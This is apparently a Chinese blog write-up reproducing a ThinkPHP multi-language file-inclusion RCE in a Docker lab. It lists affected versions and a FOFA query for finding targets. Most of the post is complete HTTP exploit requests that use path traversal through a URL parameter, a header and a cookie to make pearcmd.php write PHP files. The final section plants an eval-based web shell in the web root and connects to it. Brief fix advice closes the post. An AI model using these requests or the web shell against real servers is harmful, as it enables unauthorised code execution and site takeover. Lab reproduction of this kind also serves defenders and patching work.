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多语言模块文件包含RCE复现

漏洞描述:

ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越+文件包含,通过pearcmd文件包含这个trick即可实现RCE。

影响版本:

6.0.1 < ThinkPHP≤ 6.0.13

5.0.0 < ThinkPHP≤ 5.0.12

5.1.0 < ThinkPHP≤ 5.1.8

利用条件:

1、需要Thinkphp开启多语言功能
2、安装pear扩展
3、知道pearcmd.php路径
4、register_argc_argv=on

FOFA搜索语法:

> header="think_lang"

环境搭建:

服务器首先要有docker环境,没有的可以先部署一个

1、docker直接拉取vulfocus 的thinkphp:6.0.12的漏洞环境镜像:

docker pull vulfocus/thinkphp:6.0.12

2、启动容器,将容器的80端口映射到本机的80端口

docker run  --nametp123 -p80:80 -d镜像id

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浏览器访问:ip+/public/index.php 如下图则搭建成功:

多语言模块文件包含RCE复现,第1张
图片.png

漏洞复现:

进入容器查看pearcmd.php路径,执行

find / -name pearcmd.php 2>/dev/null
/usr/local/lib/php/pearcmd.php
多语言模块文件包含RCE复现,第2张
图片.png

EXP:

在/tmp/下生成hello.php
GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close
进入容器查看/tmp/hellp.php
多语言模块文件包含RCE复现,第3张
图片.png
包含hello.php
GET /public/index.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../tmp/hello
Cookie: think_lang=zh-cn
Connection: close
repeater发包:
多语言模块文件包含RCE复现,第4张
图片.png
看看浏览器页面成功执行phpinfo:
多语言模块文件包含RCE复现,第5张
图片.png

GET:

直接利用p牛文章中的请求包,需要根据实际情况改变文件名称,写不进去可以考虑多加点../

创建文件
GET

/public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/1.php
 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater发包:
多语言模块文件包含RCE复现,第6张
图片.png
进入容器查看:
多语言模块文件包含RCE复现,第7张
图片.png
文件包含/tmp/1.php
GET /public/index.php?lang=../../../../../../../../../../../../tmp/1 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater发包:
多语言模块文件包含RCE复现,第8张
图片.png
再看看浏览器页面,成功执行phpinfo:
多语言模块文件包含RCE复现,第9张
图片.png

HEADER:

创建文件
GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/2.php HTTP/1.1
Host: 192.168.36.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close
repeater发包:
多语言模块文件包含RCE复现,第10张
图片.png
进入容器查看:
多语言模块文件包含RCE复现,第11张
图片.png
文件包含/tmp/2.php
GET /public/index.php?lang=../../../../../../../../../../../../tmp/2 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater发包:
多语言模块文件包含RCE复现,第12张
图片.png
在看看浏览器页面成功执行phpinfo:
多语言模块文件包含RCE复现,第13张
图片.png

COOKIES:

创建文件
GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/3.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd
Connection: close
repeater发包:
多语言模块文件包含RCE复现,第14张
图片.png
进入容器查看:
多语言模块文件包含RCE复现,第15张
图片.png
文件包含/tmp/3.php
GET /public/index.php?lang=../../../../../../../../../../../../tmp/3 HTTP/1.1
Host: 192.168.36.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Sec-Purpose: prefetch;prerender
Purpose: prefetch
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater发包:
多语言模块文件包含RCE复现,第16张
图片.png
在看看浏览器页面成功执行phpinfo:
多语言模块文件包含RCE复现,第17张
图片.png

GETSHELL

于是我梅开二度决定写入一个马子试试:

这次我们直接写到网站根目录(注:phpinfo可以查看网站绝对路径)

多语言模块文件包含RCE复现,第18张
图片.png
写入文件
GET

/public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close
repeater发包:
多语言模块文件包含RCE复现,第19张
图片.png
浏览器访问:
多语言模块文件包含RCE复现,第20张
图片.png
蚁剑成功连接:
多语言模块文件包含RCE复现,第21张
图片.png

修复建议:

1、若无必要,可关闭多语言功能,可参考文档

https://www.kancloud.cn/manual/thinkphp6_0/1037637

https://static.kancloud.cn/manual/thinkphp5/118132

2、官方已发布6.0.14、5.1.42,建议升级至安全版本


https://www.xamrdz.com/web/2v31994539.html

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